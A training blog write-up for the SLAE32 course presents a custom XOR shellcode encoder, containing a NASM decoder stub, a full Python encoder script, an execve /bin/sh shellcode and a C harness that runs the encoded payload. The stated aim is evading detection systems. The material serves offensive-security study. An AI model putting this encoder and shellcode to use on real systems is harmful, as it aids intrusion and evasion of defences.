Assignment N°4 - Encoder (NASM)

Assignment Goals

SLAE32

This paper is part of the certification process following the SLAE32 course (x86 Assembly Language and Shellcoding on Linux) intended to prepare me to become a future certified OSCE.

If you are willing to pass the certification I really suggest you to wait until you finished your own certification process before reading that paper.

Why? the goal of that certification is to practice and learn how to solve each assignment by yourself. If you read this paper you will get spoiled and seriously oriented to my personal solution and take the risk to abuse of some shortcuts.

Student ID: SLAE-1530

  • Create a custom encoding scheme.

  • PoC with using execve-stack as the shellcode.

Creating our own encoder

Shellcode encoders are useful for two main reasons:

  • Minimize the risk of getting cough by detection systems.
  • Avoid bad characters from our original shellcode.

An encoder take a shellcode in input and output a different looking shellcode without affecting it functionality.

The main disadvantage with encoding is that your shellcode size will naturally increase.

Encoder

The Encoder is generally created using a high level language such as Python / Ruby or C.

The Encoder scramble the shellcode byte by byte using a reversible routine. Depending on the method used, the Encoder could also put effort on avoiding certain bytes we call bad chars.

When the shellcode is completely encoded the encoder wraps it inside another shellcode template called the Decoder.

Decoder

The Decoder reverse the encoding process, When the shellcode is completely decoded, it redirects execution flow at decoded shellcode location.

XOR Encoder Receipe

We will create our custom encoder using XOR encryption.

Each shellcode byte are XORed using a random byte (0-256), In this case the key is not secret and is required by the decoder.

XOR key needs to be alternate with the encoded shellcode byte.

Example:

0x01 (Shellcode Pos 1) | 0x02 (XOR Key Pos 1) | 0x03 (Shellcode Pos 2) | 0x04 (XOR Key Pos 2) | ...

The key length then needs to be equal to the shellcode length thus making the process of limiting bad chars much easier but increasing the size of our final payload by two.

Indeed, to avoid bad characters, if current XOR key position or if XOR operation result is equal to a defined bad char, we need to change the current key position value until we escape all bad chars.

Decoder OpCodes (represented by one byte or a couple of bytes) can’t be placed in bad chars since they are part of the decoding process. They must be white listed.

We also need to take care of modifying few parts of the decoder on the fly.

Since decoder browse the shellcode byte by byte, it needs to use the ecx register to create a loop. ecx is obviously equal to the size of our shellcode. So we must patch that value dynamically and cleverly.

If shellcode length is bellow or equal to 2^8 (256) bytes, then we use cl (8 Bit) register to store loop counter. If shellcode length is above 2^8 and bellow or equal to 2^16 (65535) bytes, then we use cx (16 Bit) register to store loop counter. Finally if shellcode length is above 2^16 and bellow or equal to 2^32 (4294967296) Bytes, then we use ecx (32 Bit) register to store loop counter.

Most of the time if not always our shellcode wont cross 65535 bytes but just in case size above this limit is supported.

Since we are changing OpCode on the fly, we must also relocate addresses for some instructions. We also need to carefully take care of that.

Decoder Template (NASM)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : xor-encoder.nasm                       ;
; Author   : Jean-Pierre LESUEUR                    ;
; Website  : https://www.phrozen.io/                ;
; Email    : jplesueur@phrozen.io                   ;
; Twitter  : @DarkCoderSc                           ;
;                                                   ;
; --------------------------------------------------;
; SLAE32 Certification Assignement N°3              ;
; (Pentester Academy).                              ; 
; https://www.pentesteracademy.com                  ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

global _start

section .text
;--------------------------------------------------------------------
; Program Entry Point.
;--------------------------------------------------------------------
_start:
	jmp short get_shellcode

;--------------------------------------------------------------------
; Decode shellcode with associated key (XOR Decoder).
;--------------------------------------------------------------------
decoder:
	pop esi                     ; Address of EncodedShellcode

	xor ecx, ecx	 	        ; zero ecx
	xor eax, eax	 		    ; zero eax
	xor ebx, ebx                ; zero ebx

	mov cl, 0x1                 ; length of our shellcode (EncodedShellcode / 2)
decode:		
	mov ah, byte [esi + ebx]
	mov al, byte [esi + ebx +1]         

	xor ah, al

	mov [esi], ah

	inc ebx
	inc esi

	loop decode               

	jmp short EncodedShellcode ; run our decoded shellcode

;--------------------------------------------------------------------
; This section contain our encoded shellcode + XOR key. 
; It address will be recovered using the Jump Call Pop technique.
;--------------------------------------------------------------------
get_shellcode:
	call decoder
	EncodedShellcode: db 0x00, 0x00

Identified White Chars

Each OpCode present in this decoder is designated as a whitelisted char. Since it is required for decoding process it can’t be avoided.

To identify white chars we can compile the Decoder template then use objdump.

local@user:$ nasm -f elf32 -o xor-decoder.o xor-decoder.nasm

local@user:$ ld -o xor-decoder xor-decoder.o

local@users:$ objdump -d xor-decoder -M intel

xor-decoder:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 1a                	jmp    804807c <get_shellcode>

08048062 <decoder>:
 8048062:	5e                   	pop    esi
 8048063:	31 c9                	xor    ecx,ecx
 8048065:	31 c0                	xor    eax,eax
 8048067:	31 db                	xor    ebx,ebx
 8048069:	b1 01                	mov    cl,0x1

0804806b <decode>:
 804806b:	8a 24 1e             	mov    ah,BYTE PTR [esi+ebx*1]
 804806e:	8a 44 1e 01          	mov    al,BYTE PTR [esi+ebx*1+0x1]
 8048072:	30 c4                	xor    ah,al
 8048074:	88 26                	mov    BYTE PTR [esi],ah
 8048076:	43                   	inc    ebx
 8048077:	46                   	inc    esi
 8048078:	e2 f1                	loop   804806b <decode>
 804807a:	eb 05                	jmp    8048081 <EncodedShellcode>

0804807c <get_shellcode>:
 804807c:	e8 e1 ff ff ff       	call   8048062 <decoder>

Giving:

0x01, 0x05, 0x1e, 0x24, 0x26, 0x2e, 0x30, 0x31
0x43, 0x44, 0x46, 0x5e, 0x88, 0x8a, 0xc0, 0xc4
0xc9, 0xdb, 0xe8, 0xeb, 0xf1, 0xff

as default white char list.

Remember, depending on the size of our shellcode, we also need to modify on the fly some OpCodes. Resulting OpCode must be also present in white char list.

Shellcode (<= 2^8)
0xb1, 0x1a
Shellcode (> 2^8 and <= 2^16)
0x66, 0xb9, 0x1c, 0xdf
Shellcode (> 2^16 and <= 2^32>)
0xb9, 0x1d, 0xde

Shellcode Length Bad char subtlety

There is a last important thing to take in consideration about bad chars.

When we generate our final decoder payload. We are placing a special OpCode (ecx counter) with the size of our shellcode encoded in hex (Little Endian). This could result in having a new bad char.

To avoid this problem, we can add an option to append junk OpCode(s) at the end of the shellcode to encode thus varying it size and then OpCode layout.

XOR Encoder Code

#!/usr/bin/python3

'''
	Jean-Pierre LESUEUR (@DarkCoderSc)
	jplesueur@phrozen.io
	https://www.phrozen.io/
	https://github.com/darkcodersc
	License : MIT
	---
	SLAE32 Assignment 4 : Linux x86-32 Shellcode Encoder.
	---
	Description:
		Encode shellcode using XOR.
		Support shellcode from any size.
		Support bad chars.
'''

import sys
import random
from textwrap import wrap
import argparse

############################################################################################################

verbose = False
shellcode = None
encoded_shellcode = None

############################################################################################################
#
# Define bad characters and white characters.
# 
# white characters are characters used by the decoder itself so it can't be present in bad character array.
#
############################################################################################################

#
# Bad chars list
#
default_bad_chars = bytearray([0x00])

bad_chars = None

#
# Whitelist chars (Can't be in bad chars)
#
white_chars_base = bytearray([
							0x01, 0x05, 0x1e, 0x24, 0x26, 0x2e, 0x30, 0x31,
						    0x43, 0x44, 0x46, 0x5e, 0x88, 0x8a, 0xc0, 0xc4,
						    0xc9, 0xdb, 0xe8, 0xeb, 0xf1, 0xff
						])

white_chars_size8 = bytearray([0xb1, 0x1a])

white_chars_size16 = bytearray([0x66, 0xb9, 0x1c, 0xdf])

white_chars_size32 = bytearray([0xb9, 0x1d, 0xde])

white_chars = None

############################################################################################################
#
# Utilities Definitions
#
############################################################################################################

#
# Log Defs
#
def success(message):
    print("[\033[32m+\033[39m] " + message)

def err(message):
    print("[\033[31m-\033[39m] " + message)

def warn(message):
    print("[\033[33m!\033[39m] " + message)

def info(message):
	if verbose:
		print("[\033[34m*\033[39m] " + message)

#
# Convert Byte Array to Byte String
#
def bytearr_to_bytestr(data):
	return ''.join(f"\\x{'{:02x}'.format(x)}" for x in data)

#
# Convert Byte String to Byte Array
#
def bytestr_to_bytearr(data):
	return list(bytearray.fromhex(data.replace("\\x", " ")))

############################################################################################################
#
# Prepare Badchar List (Need to be done before calling EncodeShellcode())
#
############################################################################################################

def PrepareBadChars(reg_size):
	global bad_chars
	global white_chars

	result = True	

	bad_chars = bytearray()
	white_chars = bytearray()

	if argv.badchars_str:		
		bad_chars.extend(default_bad_chars)
		white_chars.extend(white_chars_base)

		if (reg_size == 8):						
			white_chars.extend(white_chars_size8)
		elif (reg_size == 16):						
			white_chars.extend(white_chars_size16)
		elif (reg_size == 32):
			white_chars.extend(white_chars_size32)

		for badchar in bytestr_to_bytearr(argv.badchars_str):
			if (white_chars.find(badchar, 0) == -1):
				bad_chars.append(badchar)
			else:
				warn(f"{hex(badchar)} is whitelisted. It can't be a badchar")

				result = False

	return result

############################################################################################################
#
# Encode Shellcode (XOR) Definition
#
############################################################################################################

def EncodeShellcode():
	global shellcode
	global encoded_shellcode	

	#
	# Start encoding
	#	
	encoded_shellcode = bytearray()	
	
	for opcode in shellcode:	
		candidates = random.sample(range(255), 255)

		found = False
		for candidate in candidates:							
			result = opcode ^ candidate
			if (bad_chars.find(result, 0) == -1) and (bad_chars.find(candidate, 0) == -1):					
				found = True
				break					

		if not found:
			return False

		encoded_shellcode.append(result)
		encoded_shellcode.append(candidate)

	return True

############################################################################################################
#
# Program Entry Point
#
############################################################################################################
parser = argparse.ArgumentParser(description='Shellcode Xor Encoder (@DarkCoderSc)')

parser.add_argument('-s', action="store", dest="shellcode_str", required=True, help="Shellcode to encode (Ex: \\x31\\xe2...\\xeb).")
parser.add_argument('-b', action="store", dest="badchars_str", required=False, help="Bad chars list (Ex: \\x0a\\x0d), NULL is always a bad char.")
parser.add_argument('-v', action="store_true", default=False, dest="verbose", required=False, help="Enable verbose.")
parser.add_argument('-j', action="store", dest="junk_length", type=int, default=0, required=False, help="Append junk opcode at the end of the original shellcode to vary it size.")
parser.add_argument('-p', action="store_true", default=False, dest="paranoid_bcheck", required=False, help="Check if final payload is really free of badchars (Paranoid mode).")
try:
	argv = parser.parse_args()

	verbose = argv.verbose
except IOError:
	parse.error

	sys.exit()

#
# Setup shellcode array
#
shellcode = bytestr_to_bytearr(argv.shellcode_str)

#
# Optionnaly append junk data at the end to vary shellcode size and avoid bad chars.
#
if (argv.junk_length > 0):
	shellcode.extend(b"\x90"*argv.junk_length)

############################################################################################################
#
# Encode and ajust decoder
# (!) Retry encoding until no bad chars are found in generated opcode (during relocation)
#
############################################################################################################

shellcode_length = len(shellcode)

info(f"{shellcode_length} bytes loaded from shellcode to encode.")

reg_size = 0

if (shellcode_length <= (2**8-1)):	
	reg_size = 8
elif (shellcode_length <= (2**16-1)):
	reg_size = 16
elif (shellcode_length <= (2**32-1)):
	reg_size = 32

if (reg_size == 0):
	err("Shellcode length is not compatible with our encoder.")

	sys.exit()

#
# Prepare Badchars
#
info("Prepare bad chars list...")
if not PrepareBadChars(reg_size):
	err("Invalid badchar, one or multiple badchar are not compatible with our encoder.")

	sys.exit()

info("Done.")

#
# Encode Shellcode (XOR)
#
info("Start shellcode encoding...")
if not EncodeShellcode():
	err("Could not encode shellcode, with current badchar list. Likely reason: to much bad chars.")

	sys.exit()

info("Done.")

# 
# Upgrade ecx counter / jmp / call relocation.
#		
if (reg_size == 8):		
	counter_opcode = b"\xb1"
	counter_opcode += shellcode_length.to_bytes(1, byteorder="little")

	jmp_get_shellcode_opcode = b"\x1a"
	call_decoder_opcode = b"\xe1"
elif (reg_size == 16):
	counter_opcode = b"\x66\xb9"
	counter_opcode += shellcode_length.to_bytes(2, byteorder="little")

	jmp_get_shellcode_opcode = b"\x1c"
	call_decoder_opcode = b"\xdf"
elif (reg_size == 32):		
	counter_opcode = b"\xb9"
	counter_opcode += shellcode_length.to_bytes(4, byteorder="little")	

	jmp_get_shellcode_opcode = b"\x1d"
	call_decoder_opcode = b"\xde"	

info(f"counter opcode=[{bytearr_to_bytestr(counter_opcode)}]")
info(f"jmp_get_shellcode opcode=[{bytearr_to_bytestr(jmp_get_shellcode_opcode)}]")
info(f"call_decoder opcode=[{bytearr_to_bytestr(call_decoder_opcode)}]")

info("Checking if additional opcodes now include bad chars...")
for opcode in counter_opcode:	
	if bad_chars.find(opcode) != -1:		
		err(f"A badchar \"{hex(opcode)}\" was introduced during OpCode generation. Use option \"-j\" to vary shellcode length and try again.")

		sys.exit()

info("Done.")


############################################################################################################
#
# Build Final Payload
#
############################################################################################################

info("Build our final payload...")

payload = b"" 

# <_start>:
payload += b"\xeb"
payload += jmp_get_shellcode_opcode     # jmp <get_shellcode>

# <decoder>:
payload += b"\x5e"                      # pop    esi
payload += b"\x31\xc9"                  # xor    ecx,ecx
payload += b"\x31\xc0"                  # xor    eax,eax
payload += b"\x31\xdb"                  # xor    ebx,ebx

payload += counter_opcode				# mov cl|cx|ecx, <EncodedShellcode / 2>

# <decode>:
payload += b"\x8a\x24\x1e"              # mov    ah,BYTE PTR [esi+ebx*1]
payload += b"\x8a\x44\x1e\x01"          # mov    al,BYTE PTR [esi+ebx*1+0x1]
payload += b"\x30\xc4"                  # xor    ah,al    
payload += b"\x88\x26"                  # mov    BYTE PTR [esi],ah    
payload += b"\x43"                      # inc    ebx
payload += b"\x46"                      # inc    esi
payload += b"\xe2\xf1"                  # loop   <decode>
payload += b"\xeb\x05"                  # jmp    <EncodedShellcode>

# <get_shellcode>:
payload += b"\xe8"
payload += call_decoder_opcode          # call  <decoder>
payload += b"\xff\xff\xff"

# <EncodedShellcode>:
payload += bytes(encoded_shellcode)

info("Done.")

############################################################################################################
#
# Verify if we don't have any badchars (Optional)
# Should never occurs, if it occurs it means we have a bug somewhere.
#
############################################################################################################

if argv.paranoid_bcheck:
	for opcode in payload:
		if bad_chars.find(opcode, 0) != -1:
			err("Bad char found in final payload. Possible bug affects our encoder.")
			sys.exit()
		
	
	success("Final payload is completely free of bad chars.")

############################################################################################################
#
# Print C array payload to termina. Ready for use (Copy / Paste)
#
############################################################################################################

payload_str = bytearr_to_bytestr(payload)

size = int(len(payload_str) / 4)

final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"

for l in wrap(payload_str, 64):
	final_payload += "\t\"{}\"\n".format(l)

final_payload = final_payload[:-1] + ";"

print(f"\n{final_payload}\n")

success(f"Shellcode successfully encoded, payload size: {size}")

Usage

  • -s : Shellcode to encode (Ex: \x31\xe2…\xeb).
  • -b : Bad chars list (Ex: \x0a\x0d), NULL is always a bad char.")
  • -v : Enable verbose.
  • -j : Append junk opcode at the end of the original shellcode to vary it size.
  • -p : Check if final payload is really free of badchars (Paranoid mode).

Example

We will use execve-stack as shellcode to encode.

local@user:$ ./xor-encoder.py -s "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43" -b "\x0a\x0d" -v -p

Example Picture

Test encoded shellcode

#include<stdio.h>
#include<string.h>

// Shellcode size = 131                                                                               
unsigned char code[] = \                                                                              
        "\xeb\x1a\x5e\x31\xc9\x31\xc0\x31\xdb\xb1\x31\x8a\x24\x1e\x8a\x44"                            
        "\x1e\x01\x30\xc4\x88\x26\x43\x46\xe2\xf1\xeb\x05\xe8\xe1\xff\xff"                            
        "\xff\xbf\x54\xd4\xce\x7c\x22\x0c\x3d\x5d\x86\x94\x1c\x5b\x05\xd9"                            
        "\xde\xd0\x59\x34\x42\xf4\xfc\x67\xee\x65\x3b\xe6\xea\x40\xcd\x32"                            
        "\x2c\x53\xde\x6d\x23\xc5\xcd\xf6\x7b\x33\x65\xc5\xc9\x0b\x3a\x9c"                            
        "\x5c\x2e\x9e\x4f\x44\x99\x54\xc7\x47\x5d\xb5\x22\xc3\x31\xce\x4c"                            
        "\xb3\x52\xad\x5d\x72\x89\xeb\x5a\x33\x31\x5f\xdb\xf4\xfe\x8d\x44"                            
        "\x2c\xa8\xe9\x76\x34\x64\x26\x7e\x3c\x8c\xce\xbf\xfc\xfb\xb8\x72"                            
        "\x31\x21\x62"; 

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();
}

local@user:$ gcc shellcode.c -o shellcode -z execstack && ./shellcode

Shellcode Exec

Afterword

Encoder is available in the following Github repository : https://github.com/DarkCoderSc/slae32-xor-encoder

comments powered by Disqus